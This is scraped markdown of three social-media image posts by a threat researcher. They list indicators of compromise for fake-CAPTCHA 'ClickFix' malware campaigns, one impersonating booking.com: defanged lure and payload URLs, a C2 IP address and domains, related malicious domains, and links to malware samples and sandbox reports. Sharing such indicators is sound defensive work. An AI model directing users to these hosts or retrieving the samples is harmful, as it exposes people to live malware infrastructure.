![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix
👇
guestreservationpullse.]help/booking.com_files/vp32ssdaq.html
👇
solimayticontexta.]com
👇
sabrineme.]com/asfixsoftwaredev.zip
C2
⛔️95.85.244.]166
⛔️asmweosiqsaaw.]com
Samples
https://t.co/2mn8Ek0Io9
AnyRun
https://t.co/WVyOBKkllo https://t.co/OH4N3UOzMw](https://pbs.twimg.com/media/HDEhTHAawAAr89T.jpg)
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix
👇
guestreservationpullse.]help/booking.com_files/vp32ssdaq.html
👇
solimayticontexta.]com
👇
sabrineme.]com/asfixsoftwaredev.zip
C2
⛔️95.85.244.]166
⛔️asmweosiqsaaw.]com
Samples
https://t.co/2mn8Ek0Io9
AnyRun
https://t.co/WVyOBKkllo https://t.co/OH4N3UOzMw](https://pbs.twimg.com/media/HDEhSYnXsAA39Zy.png)

![JAMESWT_WT's tweet photo. #ClickFix #FakeCaptcha
temucoin.]lat
distortedcoin.]lat
distortedcoin.]lat
daiteobeziyanamtelok.]lol
> iqehqqh@outlook.com
Samples
https://t.co/aH4FysoL3y
https://t.co/CcaF6h8HP6
https://t.co/isPpq7EtFy
https://t.co/dZQEiojoE6
cc @500mk500 @skocherhan @illegalFawn https://t.co/gDYaNqFK2d](https://pbs.twimg.com/media/HDWo5e7XkAAsOre.png)
